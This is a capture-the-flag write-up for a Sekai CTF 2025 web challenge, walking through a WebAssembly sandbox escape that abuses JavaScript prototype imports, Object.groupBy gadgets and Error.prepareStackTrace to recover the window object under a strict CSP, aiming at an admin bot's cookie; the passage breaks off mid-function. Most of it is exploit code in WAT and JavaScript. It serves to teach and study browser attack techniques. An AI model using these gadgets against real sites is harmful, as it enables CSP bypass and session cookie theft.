Captivating Canvas Contraption - Sekai CTF 2025

2025-08-20

Sekai CTF 2025 seemed like a very fun event, unfortunately I ended up hyperfocusing on this one challenge and spent the entire CTF grinding it. I don't regret a thing, it's a great challenge, I learned a lot about wasm by solving it and had to solve some really fun problems. This is exactly what I look for when playing CTFs, kudos to the challenge creator.

I also claimed a $50 bounty for being the first(and only) person to solve this challenge :^

Thanks for nullenvk for playing with me 💙.

Overview

Captivating Canvas Contraption - 1 solve (me :))

I don't understand how shaders work, so I made a small little site that allows you to use WebAssembly to render to a canvas instead. Share some of your designs with me?

Author: Qyn Category: Web

https://2025.ctf.sekai.team/challenges/#Captivating-Canvas-Contraption-39

The challenge

As the description says, we're given a simple static website that downloads a wasm file and executes it to render an image. There is an admin bot, which has the flag, stored as a cookie.

The webpage uses a relatively secure CSP, only allowing specific scripts to run using integrity hashes, and wasm-eval.

Our wasm code is then executed in a requestAnimationFrame loop(simplifying the code and inlining functions to make things easier to understand):

// wasmData contains our wasm file
const wasmModule = await WebAssembly.instantiate(wasmData, {
	// stubs for AssemblyScript: https://www.assemblyscript.org/concepts.html#special-imports
	env: {
		abort: () => { },
		trace: () => { },
		seed: () => 0,
	}
});
const exports = wasmModule.instance.exports;

if (!exports.renderPixel) {
	throw new Error('WebAssembly module must export a "renderPixel" function');
}

renderPixel = exports.renderPixel;
setStatus(`Loaded ${wasmName} successfully`, 'success');

const render = () => {
 for (let y = 0; y < 512; y++) {
  for (let x = 0; x < 512; x++) {
   // Call to our wasm here!
   const color = renderPixel(x,y);
   updateCanvas(color, x, y);
  }
 }
 requestAnimationFrame(render)
}

render();

Solution

WAT

Since this challenge looked fairly difficult I expected that having the ability to write wasm on as low of a level as possible. For this reason I chose to solve this challenge in WAT.

In retrospect this was a mistake, and I would've been able to solve the challenge much faster had I used assemblyscript or some other high level language, but regardless I think it was a nice skill to pick up, so I will use it throughtout this writeup, alongside JS pseudocode for readibility.

WAT primer

To compile code to wasm I just used the wat2wasm tool from the webassembly binary toolkit.

As a starter I grabbed the solid.wasm example, decompiled it with wasm2wat and manually cleaned it up as a base to work from

export function renderPixel(x: i32, y: i32): i32 {
	return 11141375;
}
WAT
(module
	(func $renderPixel (result i32)
		i32.const 11141375)
	(export "renderPixel" (func $renderPixel))
)

WASM code declares imports, which can be functions or externrefs(more later), as well as it's own exports statically ahead of time.

There are 3 data types that we'll be using to interact between wasm and javascript:

Initial vulnerability

The name of the challenge: "Captivating Canvas Contraption" is very suspicious. My immediate thought was that this was a reference to the Chaos Computer Club, possibly referencing some past challenge or a talk given at some CCC event?

After a quick search for "wasm sandbox" on the CCC media server. I found this talk given by Thomas Rinsma: "Escaping a misleading "sandbox": breaking the WebAssembly-JavaScript barrier" from WHY2025, talking about walking up the javascript object prototypes in order to access functions we aren't supposed to from wasm(also available as a phrack article now).

I highly encourage you to listen to the talk or read the paper yourself, it was very well done, but I'll summarize it here:

A Wasm module defines a set of static imports: functions and data that need to be made available to it. Imports are always namespaced, so every import is referred to by two keys: the namespace key and the name of the import. Under the browser wasm interface these are passed in as the second argument to the instantiate, with nested objects describing namespaces and imports(for example in this challenge the env namespace contains a function called abort).

Javascript objects have a prototype that they implicitly inherit all properties from. The default prototype for objects defines a few properties:

~ node
> ({}).toLocaleString
[Function: toLocaleString]

no spec specifies that wasm shouldn't resolve imports from the prototype, so our wasm module can import stuff we weren't intended to.

😈

Unfortunately there are a few key limitations:

Despite this we have one saving grace: Object.groupBy. This is an extremely versitile gadget, allowing us to extract elements from arrays, call arbitrary functions and construct objects.

The talk then goes on to construct strings by calling String.raw with Object.groupBy and calling eval, to get code execution. We cannot reuse that same exploit for this challenge due to the strict CSP, so it's finally time to start thinking for ourselves.

Getting access to the window object

We need to access document.cookie which contains the flag and some way to send it to ourselves.

The only way I can think of to do that is to somehow restore access to the window object. Most conventional ways of doing that are unavailable to us, since they require some form of eval but I remember an obscure (non-standard, v8-only) API we can potentially abuse: Stack trace customization

Under chrome when reporting an error if an Error.prepareStackTrace function is defined the engine will call it when constructing the error message with an array of CallSite objects, which have a getThis() function that returns the value of this.

If we are smart about where we cause an error we can trigger an error that somewhere in it's stack trace will have a function where this is set to window.

Error.prepareStackTrace is only called if something tries to access Error.stack, for example when an error is logged, which happens automatically for uncaught errors if devtools are open, or... when running under puppetter, like the adminbot.

To define prepareStackTrace we could probably somehow get access to Error, but since Error is also an Object it's much simpler to just define, Object.prototype.prepareStackTrace.

At this point I feelt like I was on the right track so I decided to start hunting for useful gadgets and turning them into primitives

Primitives

Console.log

I'm not familiar with wasm so I decided to go with the good old printf debugging. I modified the challenge code to give myself access to a console.log method

// wasmData contains our wasm file
const wasmModule = await WebAssembly.instantiate(wasmData, {
	// stubs for AssemblyScript: https://www.assemblyscript.org/concepts.html#special-imports
	env: {
		abort: () => { },
		trace: () => { },
		seed: () => 0,
+		log: (val) => console.log(val)
	}
});

In production I defined it as a noop function

import { log } from "env"
import { constructor as Object } from "env"
/*
function log(x: externref) {
}
*/

export function renderPixel(x: i32, y: i32): i32 {
	// Log object.name, since we can't construct strings ourselves
	log(Object.name)
	return 11141375;
}
WAT
(import "env" "log" (func $log (param externref)))
(import "constructor" "name" (global $object_name externref))

(func $renderPixel (result i32)
	;; Log object.name, since we can't construct strings ourselves
	(call $log (global.get $object_name))
	i32.const 11141375)
(export "renderPixel" (func $renderPixel))

Next I copied some basic ones from Thomas' talk:

Get n-th array element

let indexToSave: i32 = 0
let savedElement: externref;

function saveNth(element: externref, idx: i32) {
	if(indexToSave == idx) {
		savedElement = element
	}
}

function getNthArrayElement(array: externref, n: i32) {
	indexToSave = n;
	Object.groupBy(array, saveNth)
	return savedElement
}


// getNthArrayElement([1,2,3,4], 2]) == 3
WAT
(import "constructor" "groupBy" (func $group_by (param externref) (param funcref) (result externref)))

(global $idx_to_save (mut i32) (i32.const 0))
(global $saved_element (mut externref) (ref.null extern))
(func $save_nth_element (param $val externref) (param $n i32)
	(local.get $n)
	(global.get $idx_to_save)
	i32.eq
	(if
		(then
				(local.get $val)
				(global.set $saved_element)
		)
	)
)
(func $get_nth_element (param $arr externref) (param $n i32) (result externref)
	(global.set $idx_to_save (local.get $n))
	(call $group_by (local.get $arr) (ref.func $save_nth_element))
	drop
	(global.get $saved_element)
)

Traversing objects

It's useful to be able to traverse nested objects and get functions and data from them. We can't always use Object.values here, since it only returns "enumerable" properties. Instead we have to make use of Object.getOwnPropertyDescriptors getOwnPropertyDescriptors returns an object with keys describing the properties of an object.

We'll be using hardcoded array indexes. Those are not guaranteed to be stable and differ between engines(eg. firefox and chrome), but in practice they are consistent at least on the same browser release, which is good enough for our use case.

function getPropertyByIndex(target: externref, idx: u32) {
	// keyValue object of propery names and their descriptors
	const propDescs = Object.getOwnPropertyDescriptors(target);
	// target property descriptor
	// eg.
	// { value: [Function push], writable: false, enumerable: false, configurable: true }
	const targetDesc = getNthArrayElement(Object.values(propDescs), idx);
	// targetDesc.value
	return getNthArrayElement(Object.values(targetDesc), 0)
}

// getPropertyByIndex(Object, 3) == Object.assign
WAT
(import "constructor" "getOwnPropertyDescriptors" (func $get_own_property_descriptors (param externref)  (result externref)))
(import "constructor" "values" (func $object_values (param externref) (result externref)))
(func $get_property_by_index (param $target externref) (param $idx i32) (result externref) 
	(local $prop_descs externref)
	(local $prop_desc externref)
	(local.set $prop_descs 
		(call $get_own_property_descriptors (local.get $target))
	)

	(local.set $prop_desc
		(call $get_nth_element 
			(call $object_values (local.get $prop_descs))
			(local.get $idx) 
		)
	)
	(call $get_nth_element 
		(call $object_values (local.get $prop_desc))
		(i32.const 0) 
	)
)

With this we can define getters for useful functions, eg.

function getStringClass() {
	const stringProto = Object.getPrototypeOf(Object.name)
	// stringProto.constructor
	// Hardcoded index
	return getPropertyByIndex(stringProto, 1)
}

function getStringfromCharCode() {
	// String.fromCharCode
	return getPropertyByIndex(getStringClass(), 3)
}

// getStringfromCharCode() == String.fromCharCode
WAT
(import "constructor" "getPrototypeOf" (func $object_get_prototype_of (result externref)))
(func $get_string_class (result externref)
	(local $string_proto externref)
	(local.set $string_proto (call $object_get_prototype_of (global.get $object_name)))
	(call $get_property_by_index (local.get $string_proto) (i32.const 1))
)

(func $get_string_from_char_code (result externref)
	(call $get_property_by_index (call $get_string_class) (i32.const 3))
)

Construct single character strings

let char_to_return: i32;
function returnCh(): i32 {
	return char_to_return
}

// char is an ascii encoded character
function makeSingleCharString(char: i32) {
	char_to_return = char;
	// Object.name is the string "Object".
	// It's used here since it's an easy to access iterable
	// Eg. for 65(ascii A) Creates this object
	// { '61': [ 'O', 'b', 'j', 'e', 'c', 't' ] }
	const chObject = Object.groupBy(Object.name, returnCh)
	// ['61']
	const chArray = Object.keys(chObject)

	// We can't call String.fromCharCode directly, since we didn't import it, so we have to use groupBy
	// our char was converted to string in the previous step
	// but String.fromCharCode will implicitly convert it back to a number
	// Gives us:
	// { 'A\x00': [ '65' ] }
	// (the null byte comes, because groupBy passes the index as the second argument)
	const fromCharCodeObj = Object.groupBy(chArray, getStringfromCharCode())
	// 'A\x00'
	const nullStr = getNthArrayElement(Object.keys(fromCharCodeObj), 0)
	// Remove the null
	return getNthArrayElement(nullStr, 0)
}


// makeSingleCharString(65) == "A"
WAT
(import "constructor" "keys" (func $object_keys (param externref) (result externref)))

;; We need a second definition of groupBy that we can call with js functions(externrefs)
(import "constructor" "groupBy" (func $group_by_extref (param externref) (param externref) (result externref)))

(global $char_to_return (mut i32) (i32.const 0))
(func $return_char (result i32)
	(global.get $char_to_return)
)
(export "return_char" (func $return_char))

(func $make_single_char_string (param $ch i32) (result externref)
	(local $ch_object externref)
	(local $ch_array externref)
	(local $from_char_code_obj externref)
	(local $null_str externref)

	(global.set $char_to_return (local.get $ch))
	(local.set $ch_object (
		call $group_by 
			(global.get $object_name)
			(ref.func $return_char)
		)
	)
	(local.set $ch_array (
		call $object_keys 
			(local.get $ch_object)
		)
	)
	(local.set $from_char_code_obj
		(call $group_by_extref 
			(local.get $ch_array) (call $get_string_from_char_code)
		)
	)
	(local.set $null_str 
		(call $get_nth_element  
			(call $object_keys (local.get $from_char_code_obj)) 
			(i32.const 0)
		)
	)
	(call $get_nth_element  
		(local.get $null_str) 
		(i32.const 0)
	)
)

Construct single element arrays

Now we're starting to finally get out of what's covered in the talk.

While we can use groupBy to construct some objects we are limited by not being able to fully control their values, since groupBy requires the first argument to be array. To solve this we'd need some way to wrap an arbitrary object in a single element array.

Thinking through this I realized that if I could create an object with an arbitrary key, I would be able to call Object.values on it and get what I needed. The problem is that with my limited arsenal of functions I don't have an obvious way to do this. I could use Object.defineProperty, but only if I was able to make a property descriptor object, which also requires me to be able to create arbitrary objects. Same think with Object.assign and even Object.create, I was stuck looking for a bootstrap.

Frustrated I moved onto trying to create other gadgets and when reading more about Object.defineProperty I realized something:

Every object has a property that we control: __proto__, which is actually a getter/setter pair that calls Object.getPrototypeOf and Object.setPrototypeOf. Since we can call Object.setPrototypeOf we fully control the value of __proto__ This property doesn't show up when calling Object.values, because it's property descriptor sets enumerable: false but we can easily override that. While can't craft arbitrary objects yet, we can still take an existing prototype descriptor, modify it and set it back on the original object. Let's try that

// {}
function emptyObject(): externref {
	Object.create(Object.prototype)
}

/*
{
  get: [Function: get __proto__],
  set: [Function: set __proto__],
  enumerable: false,
  configurable: true
}
*/
function get__proto__Descriptor(): externref {
	/*
	{
	  get: [Function: get __proto__],
	  set: [Function: set __proto__],
	  enumerable: false,
	  configurable: true
	}
	*/
	const objectPrototypeProperties = Object.getOwnPropertyDescriptors(Object.prototype);
	const protoProp = getNthArrayElement(Object.values(objectPrototypeProperties), 10)
	return protoProp
}

// "enumerable"
function getEnumerableString() {
	return getNthArrayElement(Object.keys(get__proto__Descriptor()), 2)
}

// Helper function for groupBy Calls
let extref: externref;
function returnExternRef(): externref {
	return extref
}

// x => [x]
function buildSingleElementArray(element: externref): externref {
	const target = emptyObject();

	// Construct enumerable: true object.
	// We construct an array, but that's ok since and non empty arrays are considered truthy.
	// {enumerable: [ 'O', 'b', 'j', 'e', 'c', 't' ] }
	extref = getEnumerableString();
	const enumerableDesc = Object.groupBy(Object.name, returnExternRef)

	const descriptor = get__proto__Descriptor();
	// Set enumerable: true
	Object.assign(descriptor, enumerableDesc)

	// key doesn't matter, picking a random value
	const targetKey = getStringfromCharCode(0x41)

	const target = emptyObject();
	Object.defineProperty(target, targetKey, descriptor)
	Object.setPrototypeOf(target, element)

	return Object.values(target);
}
WAT
(import "constructor" "prototype" (global $object_prototype externref))
(import "constructor" "create" (func $object_create (param externref) (result externref)))
(import "constructor" "assign" (func $object_assign (param externref) (param externref)))
(import "constructor" "defineProperty" (func $object_define_property (param externref) (param externref) (param externref)))
(import "constructor" "setPrototypeOf" (func $object_set_prototype_of (param externref) (param externref)))

(global $externref_to_return (mut externref) (ref.null))
(func $return_externref (result externref)
	(global.get $externref_to_return)
)
(export "return_externref" (func $return_externref))

(func $empty_object (result externref) 
	(call $object_create (global.get $object_prototype))
)

(func $get__proto__descriptor (result externref)
	(call $get_nth_element
		(call $object_values
			(call $get_own_property_descriptors (global.get $object_prototype))
		)
		(i32.const 10)
	)
)

(func $get_enumerable_string (result externref)
	(call $get_nth_element
		(call $object_keys (call $get__proto__descriptor))
		(i32.const 2)
	)
)

(func $build_single_element_array (param $element externref) (result externref)
	(local $target externref)
	(local $descriptor externref)
	(local $enumerable_desc externref)
	(local $target_key externref)

	(local.set $target (call $empty_object))

	(global.set $externref_to_return (call $get_enumerable_string))
	(local.set $enumerable_desc 
		(call $group_by (global.get $object_name) (ref.func $return_externref))
	)

	(local.set $descriptor (call $get__proto__descriptor))
	(call $object_assign (local.get $descriptor) (local.get $enumerable_desc))

	(local.set $target_key (call $make_single_char_string (i32.const 0x41)))
	
	(call $object_define_property
		(local.get $target)
		(local.get $target_key)
		(local.get $descriptor)
	)

	(call $object_set_prototype_of (local.get $target) (local.get $element))

	(call $object_values (local.get $target))
)

buildSingleElementArray("asdf") === ["asdf"]
Uncaught TypeError: Object.setPrototypeOf: expected an object or null, got string

...huh

strings are not Strings

You migth have experienced this when writing typescript before, but in JS by default when creating built in types(eg. 123, "string") they aren't actually objects, instead they are a primitive type. In order to turn them into an object(to eg. call a method on them) we need to use a wrapper class(like Number and String), which isn't a problem, since it happens automatically in 99% of cases. Object.setPrototypeOf calls happen to be one of the only cases where it doesn't.

This is not a huge issue, we can just wrap the objects in their wrapper classes automatically by calling Object on them.

function buildSingleElementArray(element: externref): externref {
	const target = emptyObject();

	// Construct enumerable: true object.
	// We construct an array, but that's ok since and non empty arrays are considered truthy.
	// {enumerable: [ 'O', 'b', 'j', 'e', 'c', 't' ] }
	extref = getEnumerableString();
	const enumerableDesc = Object.groupBy(Object.name, returnExternRef)

	const descriptor = get__proto__Descriptor();
	// Set enumerable: true
	Object.assign(descriptor, enumerableDesc)

	// key doesn't matter, picking a random value
	const targetKey = getStringfromCharCode(0x41)

	const target = emptyObject();
	Object.defineProperty(target, targetKey, descriptor)
+	Object.setPrototypeOf(target, element)
+	Object.setPrototypeOf(target, Object(element))

	return Object.values(target);
}
WAT
+(import "__proto__" "constructor" (global $object externref))

-	(call $object_set_prototype_of (local.get $target) (local.get $element))
+	(call $object_set_prototype_of (local.get $target) (
+	  call $object (local.get $element)
+	))

Set arbitrary properties on an object

If we are able to create an array with 2 elements, we can use Object.fromEntries to create arbitrary KV objects, which in turn we can use with Object.assign to set arbitrary properties and create arbitrary objects.

In order to do this we need to create an object with two properties we control: a string(or a value that can be stringified) to use as a key and another arbitrary object to use as the value.

We can create an object containing the first property by passing a string wrapped in an array as the first argument to Object.group_by. This will create an object {"a": ["key"]}, which is good enough for our use case, since fromEntries will stringify the key, and arrays are stringified by joining them, which in our case results in it becoming just "key"

We can get the second property on our object by using the same __proto__ enumerable hack we did before.

After that we can call Object.fromEntries to create an array. The order of values returned by Object.values isn't guaranteed as far as I am aware, but(at least in chromium) seems to preserve insertion order, which is good enough for us.

function buildKVObject(key: externref, value: externref): externref {
	const wrappedValue = buildSingleElementArray(key);
	// Doesn't matter, any value is fine
	char_to_return = 0x41;
	// {"a": ["key"]}
	const kv = Object.groupBy(buildSingleElementArray(key), return_char)

	extref = getEnumerableString();
	const enumerableDesc = Object.groupBy(Object.name, returnExternRef)

	const descriptor = get__proto__Descriptor();
	// Set enumerable: true
	Object.assign(descriptor, enumerableDesc)

	const key = makeSingleCharString(0x41);
	Object.defineProperty(kv, key, descriptor)
	Object.setPrototypeOf(kv, value)

	return Object.fromEntries(buildSingleElementArray(Object.entries(kv)))
}

// buildKVObject("asdf", [123]) == {"asdf": 123}

function set(target: externref, key: externref, value: externref) {
	const kv = buildKVObject(key, value);
	Object.assign(target, kv);
}
WAT
(import "constructor" "fromEntries" (func $object_from_entries (param externref) (result externref)))
(func $build_kv_object (param $key externref) (param $value externref) (result externref)
	(local $kv externref)
	(local $descriptor externref)
	(local $enumerable_desc externref)
	(local $target_key externref)

	(local.set $target_key (call $make_single_char_string (i32.const 0x41)))

	(global.set $char_to_return (i32.const 0x41))
	(local.set $kv (call $group_by 
		(call $build_single_element_array (local.get $key))
		(ref.func $return_char)
	))


	(local.set $enumerable_desc 
		(call $group_by (global.get $object_name) (ref.func $return_externref))
	)

	(local.set $descriptor (call $get__proto__descriptor))
	(call $object_assign (local.get $descriptor) (local.get $enumerable_desc))

	(local.set $target_key (call $make_single_char_string (i32.const 0x41)))
	
	(call $object_define_property
		(local.get $kv)
		(local.get $target_key)
		(local.get $descriptor)
	)

	(call $object_set_prototype_of (local.get $kv) 
		(call $object (local.get $value))
	)
	(call $object_from_entries
		(call $build_single_element_array (call $object_values (local.get $kv)))
	)
)

(func $set (param $target externref) (param $key externref) (param $value externref)
	(call $object_assign
		(local.get $target)
		(call $build_kv_object (local.get $key) (local.get $value))
	)
)

Call functions while controlling this

Only being able to call static functions is extremely restrictive so we need to figure out a way to control this. While reading about globalThis polyfills in the hopes of finding an easier way to get access to window from wasm I found that when calling setters and getters the javascript engine will set thish to the object the setter/getter is defined on, no matter how it is accessed. This means that we can use Object.assign to read/write to those properties and call any function that way!

Sadly when using setters we don't get the return value, and when using getters we don't get to pass any arguments, but that's a problem for future us to solve.

function saveElem(element: externref) {
	savedElement = element
}

function getLastArrayElement(array: externref, n: i32) {
	Object.groupBy(array, saveElem)
	return savedElement
}

// "get"
function getGetString() {
	return getNthArrayElement(Object.keys(get__proto__Descriptor()), 0)
}

// "set"
function getSetString() {
	return getNthArrayElement(Object.keys(get__proto__Descriptor()), 1)
}

// "configurable"
function getConfigurableString() {
	return getNthArrayElement(Object.keys(get__proto__Descriptor()), 3)
}

function callWithThis(this: externref, func: externref): externref {
	// Doesn't matter what the key is, we just need it to be something
	const key = getStringfromCharCode(0x42);

	const descriptor = emptyObject();

	// Using Object.name here as a bool true
	set(descriptor, getEnumerableString(), Object.name)
	// Set configurable to true so we can change this property in the future if needed
	set(descriptor, getConfigurableString(), Object.name)
	set(descriptor, getGetString(), function)

	Object.defineProperty(this, key, descriptor);

	// Object.values calls the getter for us
	const values = Object.values(source)

	return getLastArrayElement(values, 0)
}

// Call using a setter
// Can't return anything here, so this is only useful for side effects
function callWithThisAndArg(this: externref, func: externref, arg: externref) {
	// Doesn't matter what the key is, we just need it to be something
	const key = getStringfromCharCode(0x42);

	const descriptor = emptyObject();

	// Using Object.name here as a bool true
	set(descriptor, getEnumerableString(), Object.name)
	// Set configurable to true so we can change this property in the future if needed
	set(descriptor, getConfigurableString(), Object.name)
	set(descriptor, getSetString(), func)

	Object.defineProperty(this, key, descriptor);

	// Calls Object.assign, which calls the setter
	set(this, key, value);
}
WAT
(func $save_elem (param $elem externref)
	(global.set $saved_element (local.get $elem))
)
(export "saveElem" (func $save_elem))

(func $get_last_element (param $arr externref) (result externref)
	(call $group_by (local.get $arr) (ref.func $save_elem))
	drop
	(global.get $saved_element)
)

(func $get_get_string (result externref)
	(call $get_nth_element
		(call $object_keys (call $get__proto__descriptor))
		(i32.const 0)
	)
)

(func $get_set_string (result externref)
	(call $get_nth_element
		(call $object_keys (call $get__proto__descriptor))
		(i32.const 1)
	)
)

(func $get_configurable_string (result externref)
	(call $get_nth_element
		(call $object_keys (call $get__proto__descriptor))
		(i32.const 3)
	)
)

(func $call_with_this (param $this externref) (param $func externref) (result externref)
	(local $key externref)
	(local $descriptor externref)
	
	(local.set $key (call $make_single_char_string (i32.const 0x41)))
	(local.set $descriptor (call $empty_object))

	(call $set (local.get $descriptor) (call $get_enumerable_string) (global.get $object_name))
	(call $set (local.get $descriptor) (call $get_configurable_string) (global.get $object_name))
	(call $set (local.get $descriptor) (call $get_get_string) (local.get $func))
	
	(call $object_define_property (local.get $this) (local.get $key) (local.get $descriptor))
	(call $get_last_element (call $object_values (local.get $this)))
)

(func $call_with_this_and_arg (param $this externref) (param $func externref) (param $arg externref)
	(local $key externref)
	(local $descriptor externref)
	
	(local.set $key (call $make_single_char_string (i32.const 0x41)))
	(local.set $descriptor (call $empty_object))

	(call $set (local.get $descriptor) (call $get_enumerable_string) (global.get $object_name))
	(call $set (local.get $descriptor) (call $get_configurable_string) (global.get $object_name))
	(call $set (local.get $descriptor) (call $get_set_string) (local.get $func))
	
	(call $object_define_property (local.get $this) (local.get $key) (local.get $descriptor))
	
	(call $set (local.get $this) (local.get $key) (local.get $arg))
)

Our options for function calls now are

Object.groupBygetterssetters
control thisnoyeayes
control argsyesnoyes
return valuestringifiedyesno

With all of these primitives can we do better?

Building arbitrary strings

I started to feel really confident in what I had. I had so many options: I could call Promise.then if needed, I could call fetch(if I had access to it), I could crete arbitrary objects. I could push to array, map them. I could do so much!

...

Which just made it so much more frustrating that I couldn't build a simple string

I started researching, checking all the possible string methods, array methods, even promises, anything I could use.

The only thing I found was that by using reduce I could control two arguments when calling functions with Array.prototype.reduce, roughly like so:

[arg1, arg2].reduce(func)

(A proper definition of this function based on previous primitives, that can actually run in wasm left as an excercise to the reader) but that didn't let me control this restricting me to static functions. Slight improvement over Object.groupBy at best, but didn't really get me anywhere, until I had an epiphany:

Most higher-order array functions, like Array.prototype.map, Array.from and Array.prototype.find take an additional argument at the end, thisArg, which specifies what this will be set when calling the user provided callback. (oddly Array.prototype.reduce doesn't take that argument)

We can't make use of this with the vast majority of functions, since our only way of specifying multiple arguments(reduce) doesn't let us control this(), but there is one very notable exception:

Array.from(items, mapFn, thisArg)

thisArg here is a third argument, meaning we have no control over it, right? WRONG!

reduce actually passes a third argument. The element index.
Which is a number.
And numbers in javascript are objects.
Which have prototypes.

So if we do

> Object.setPrototypeOf(Number.prototype, ["p","r","e"])
[Number (Array): 0]
> Array.from([""], Array.prototype.join, 1)
[ 'pre' ]
> [[""], Array.prototype.join].reduce(Array.from)
[ 'pre' ]

hhahahaha yes;

now we just need some way to get the result out of the reduce call, but that is surprisingly easy. If we just tackle on a function at the end Array.from will call it with the result of our previous Array.from call Basically what we're doing is

let saved;
function saveVal(x) {
	saved = x;
}

const joinedString = Array.from([""], Array.prototype.join, ["p","r","e"])
Array.from(joinedString, saveVal);

but in a very roundabout way.

Let's put this into practice

function emptyString(): externref {
	return callWithThis(
		// Doesn't matter what this is.
		// `callWithThis` is just the easiest way to call the function without arguments
		emptyObject(),
		getStringfromCharCode())
}

function emptyArray(): externref {
	return Object.keys(emptyObject())
}

function getNumberPrototype(): externref {
	return Object.getPrototypeOf(1)
}

function getArrayPrototype(): externref {
	return Object.getPrototypeOf(emptyArray())
}

function getArrayConstructor(): externref {
	return getPropertyByIndex(getArrayPrototype(), 1)
}

function getArrayFrom(): externref {
	return getPropertyByIndex(getArrayConstructor(), 4)
}

function getArrayPrototypePush(): externref {
	return getPropertyByIndex(getArrayPrototype(), 12)
}

function getArrayPrototypeJoin(): externref {
	return getPropertyByIndex(getArrayPrototype(), 21)
}

function getArrayPrototypeReduce(): externref {
	return getPropertyByIndex(getArrayPrototype(), 32)
}

function arrayPush(arr: externref, val: externref) {
	callWithThisAndArg(arr, getArrayPrototypePush, val);
}


function arrayJoin(arr: externref): externref {
	setPrototypeOf(getNumberPrototype(), arr)

	// [[]]
	// Empty arrays get stringified as empty strings
	// And it's easier for us to create an empty array than a string
	// Since we already have a function defined for it
	const joinArgs = emptyArray()
	arrayPush(joinArgs, emptyArray())

	// [[[]], Array.prototype.join, saveVal]
	const reducerArray = emptyArray()
	arrayPush(reducerArray, joinArgs)
	arrayPush(reducerArray, getArrayPrototypeJoin())
	// need to wrap the save_elem func with Object to turn it from a funcref to a externref
	arrayPush(reducerArray, Object(save_elem))

	// reducerArray.reduce(Array.from)
	callWithThisAndArg(reducerArray, getArrayPrototypeReduce(), getArrayFrom())

	// Restore the original prototype
	setPrototypeOf(getNumberPrototype(), Object.prototype)

	return saved_element
}

function getPrepareStackTraceString(): externref {
	// ["p", "r", "e", "p", "a", "r", "e", "S", "t", "a", "c", "k", "T", "r", "a", "c", "e"]
	const unjoined = emptyArray()
	// p
	arrayPush(getStringfromCharCode(0x70))
	// r
	arrayPush(getStringfromCharCode(0x72))
	// e
	arrayPush(getStringfromCharCode(0x65))
	// p
	arrayPush(getStringfromCharCode(0x70))
	// and so on[...]

	return arrayJoin(unjoined)
}

// getPrepareStackTraceString() == "prepareStackTrace"
WAT
(func $empty_string (result externref)
	(call $call_with_this
		(call $empty_object)
		(call $get_string_from_char_code)
	)
)

(func $empty_array (result externref)
	(call $object_keys (call $empty_object))
)

;; (import "constructor" "getPrototypeOf" (func $object_get_prototype_of_number (param i32) (result externref)))
(func $get_number_prototype (result externref)
	(call $object_get_prototype_of_number (i32.const 0x0))
)

(func $get_array_prototype (result externref)
	(call $object_get_prototype_of (call $empty_array))
)

(func $get_array_constructor (result externref)
	(call $get_property_by_index (call $get_array_prototype) (i32.const 1))
)

(func $get_array_from (result externref)
	(call $get_property_by_index (call $get_array_constructor) (i32.const 4))
)

(func $get_array_prototype_push (result externref)
	(call $get_property_by_index (call $get_array_prototype) (i32.const 12))
)

(func $get_array_prototype_join (result externref)
	(call $get_property_by_index (call $get_array_prototype) (i32.const 21))
)

(func $get_array_prototype_reduce (result externref)
	(call $get_property_by_index (call $get_array_prototype) (i32.const 32))
)

(func $array_push (param $arr externref) (param $val externref)
	(call $call_with_this_and_arg (local.get $arr) (call $get_array_prototype_push) (local.get $val))
)

;;(import "__proto__" "constructor" (func $object_funcref (param funcref) (result externref)))
(func $array_join (param $arr externref) (result externref)
	(local $join_args externref)
	(local $reducer_array externref)

	(local.set $join_args (call $empty_array))
	(local.set $reducer_array (call $empty_array))
	
	(call $array_push (local.get $join_args) (call $empty_array))

	(call $array_push (local.get $reducer_array) (local.get $join_args))
	(call $array_push (local.get $reducer_array) (call $get_array_prototype_join))
	(call $array_push (local.get $reducer_array) (call $object_funcref (ref.func $save_elem)))

	(call $object_set_prototype_of (call $get_number_prototype) (local.get $arr))
	(call $call_with_this_and_arg (local.get $reducer_array) (call $get_array_prototype_reduce) (call $get_array_from))
	(call $object_set_prototype_of (call $get_number_prototype) (global.get $object_prototype))
	
	(global.get $saved_element)
)

(func $get_prepare_stack_trace_string (result externref)
	(local $arr externref)
	(local.set $arr (call $empty_array))

	(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x70)))
	(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x72)))
	(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x65)))
	(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x70)))
	;; [...]

	(call $array_join (local.get $arr))
)

phew...
that was a lot

Putting it all together

Recovering the window object

First we have to register our prepareStackTrace function.

The naive approach is to just do this in the renderPixel function and trigger an error right after.

Eg.

// Throws:
// TypeError: Object prototype may only be an Object or null
function triggerError() {
	Object.setPrototypeOf(Object.name, Object.name)
}

export function renderPixel(x, y) {
	set(Object.prototype, getPrepareStackTraceString(), stackTraceHandler)
	triggerError()
}

function stackTraceHandler(error: externref, callSites: externref) {
	log(callSites)
	// TODO!
}
WAT
(func $trigger_error
	(call $object_set_prototype_of (global.get $object_name) (global.get $object_name)) 
)

(func $stack_trace_handler (param externref) (param $callsites externref)
	(call $log (local.get $callsites))
)

(export "stackTraceHandler" (func $stack_trace_handler))

(func $renderPixel (result i32)
	(call $set 
		(global.get $object_prototype) 
		(call $get_prepare_stack_trace_string) 
		(call $object_funcref (ref.func $stack_trace_handler))
	)
	(call $trigger_error)
	i32.const 11141375)
(export "renderPixel" (func $renderPixel))

But when I tried this it just didn't work. The stack trace didn't have a reference to window.

Chromium devtools screenshot, showing that calling getThis on all callsites gives either Null or WebAssembly.Instance

Looks like we need to cause an error to happen in javascript and not wasm. This is actually very easy: all we need to do is not to define a renderPixel method, which will cause an exception to be thrown.

This obviously means that we can't setup our prepareStackTrace hack in the renderPixel function, but wasm does have support for defining a start function that gets called when the module is instantiated.

export function start() {
	set(Object.prototype, getPrepareStackTraceString(), stackTraceHandler)
}
WAT
(func $main
	(call $set 
		(global.get $object_prototype) 
		(call $get_prepare_stack_trace_string) 
		(call $object_funcref (ref.func $stack_trace_handler))
	)
)
(start $main)

;;(func $renderPixel (result i32)
;;	i32.const 11141375)
;;(export "renderPixel" (func $renderPixel))

Chromium devtools screenshot, with one callsite that returns window when getthis is called on it

🛈

While writing this post I found that using the unreachable instruction instead of triggering an error with Array.from creates a stack trace that has a window somewhere in it. I'm really not sure why.

now we can modify the stackTraceHandler function to actually get access to window.

function stackTraceHandler(error: externref, callSites: externref) {
	const callsite = getNthArrayElement(callSites, 0);
	const callsiteProto = Object.getPrototypeOf(callsite);
	const getThis = getPropertyByIndex(callsiteProto, 14);

	const window = callWithThis(callsite, getThis);
	log(window)
}
WAT
(func $stack_trace_handler (param externref) (param $callsites externref)
	(local $callsite externref)
